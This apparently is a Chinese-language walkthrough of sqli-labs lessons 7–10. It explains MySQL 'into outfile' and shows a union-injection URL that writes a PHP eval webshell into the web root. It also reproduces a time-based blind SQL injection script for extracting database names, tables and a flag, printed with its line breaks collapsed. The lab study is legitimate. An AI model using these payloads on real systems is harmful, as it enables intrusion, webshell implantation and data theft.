前置知識點:
1、outfile是將檢索到的數據,保存到服務器的文件內:
格式:select * into outfile “文件地址”
示例:
mysql> select * into outfile ‘f:/mysql/test/one’ from teacher_class;
2、文件是自動創建的。
3,讀寫文件函數調用的限制
因為涉及到在服務器上寫入文件,所以上述函數能否成功執行受到參數 secure_file_priv 的影響。,
其中當參數 secure_file_priv 為空時,對導入導出無限制
當值為一個指定的目錄時,只能向指定的目錄導入導出
當值被設置為NULL時,禁止導入導出功能
這個值可以通過命令 select @@secure_file_priv 查詢。由于這個參數不能動態更改,只能在mysql的配置文件中進行修改,然后重啟生效。
即:需要mysql數據庫開啟secure-file-priv寫文件權限,否則不能寫入文件。
進入mysql安裝目錄,找到my.ini 修改里面的secure-file-priv參數
如果發現沒有secure_file_priv這個選項,直接再最后添加一個空的即可。
注意:
需要有絕對路徑
文件名里路徑里必須用\代替/
less7:
可知有三個顯示位
根據題目提示使用outfile傳入木馬http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["shell"]);?>' into outfile 'D:\\phpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\shell.php'--+
最后使用蟻劍連接shell
less8
手工注入方式與5節基本相同
less9
知識點: 基于時間型SQL盲注
注入SQL 代碼之后, 存在以下兩種情況:
如果注入的SQL代碼不影響后臺[ 數據庫] 的正常功能執行, 那么Web 應用的頁面顯示正確( 原始頁面) 。
如果注入的SQL 代碼影響后臺數據庫的正常功能( 產生了SQL 注入) , 但是此時Web 應用的頁面依舊顯示正常( 原因是Web 應用程序采取了“ 重定向" 或“ 屏蔽 ”措施)。
產生一個疑問: 注入的SQL 代碼到底被后臺數據庫執行了沒有? 即web 應用程序是否存在SQL 注入?
面對這種情況, 之前講的基于布爾的SQL 盲注很難發揮作用了( 因為基于布爾的SQL 盲注的前提是web 程序返回的頁面存在true 和false 兩種不同的頁面) 。
時間盲注: 界面返回值只有一種,true.無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。這時, 一般采用基于web 應用***響應時間上的差異來判斷是否存在SQL 注入***, 即基于時間型SQL 盲注。
所以方法和less5相通,只是不以回顯而是時間長短來判斷語句的執行情況
找了份大佬的腳本:
import requests
import time
import datetimeurl = "http://localhost/sql-labs/Less-9/?id=1'"def get_dbname():dbname = ''for i in range(1,9):for k in range(32,127):payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)# payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)#if語句里面的sleep(2)為如果注入語句正確瀏覽器就休眠兩秒,也可以和1調換位置(那樣就是如果語句錯誤休眠兩秒)time1 = datetime.datetime.now()#獲得提交payload之前的時間res = requests.get(url + payload)time2 = datetime.datetime.now()#獲得payload提交后的時間difference = (time2 - time1).seconds#time,time2時間差,seconds是只查看秒if difference > 1:dbname += chr(k)else:continueprint("數據庫名為->"+dbname)
get_dbname()def get_table():table1 = ''table2 = ''table3 = ''table4 = ''for i in range(5):for j in range(6):for k in range(32,127):payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url + payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:table1 += chr(k)print("第一個表為->"+table1)elif i == 1:table2 += chr(k)print("第二個表為->"+table2)elif i == 3:table3 += chr(k)print("第三個表為->"+table3)elif i == 4:table4 += chr(k)print("第四個表為->"+table4)else:break
get_table()def get_column():column1 = ''column2 = ''column3 = ''for i in range(3):for j in range(1,9):for k in range(32,127):payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:column1 += chr(k)print("字段一為->"+column1)if i == 1:column2 += chr(k)print("字段二為->"+column2)if i == 2:column3 += chr(k)print("字段三為->"+column3)else:break
get_column()def get_flag():flag = ''for i in range(30):for k in range(32,127):payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:flag += chr(k)print("flag為->"+flag)
get_flag()
less10
和9相同,單引號改為雙引號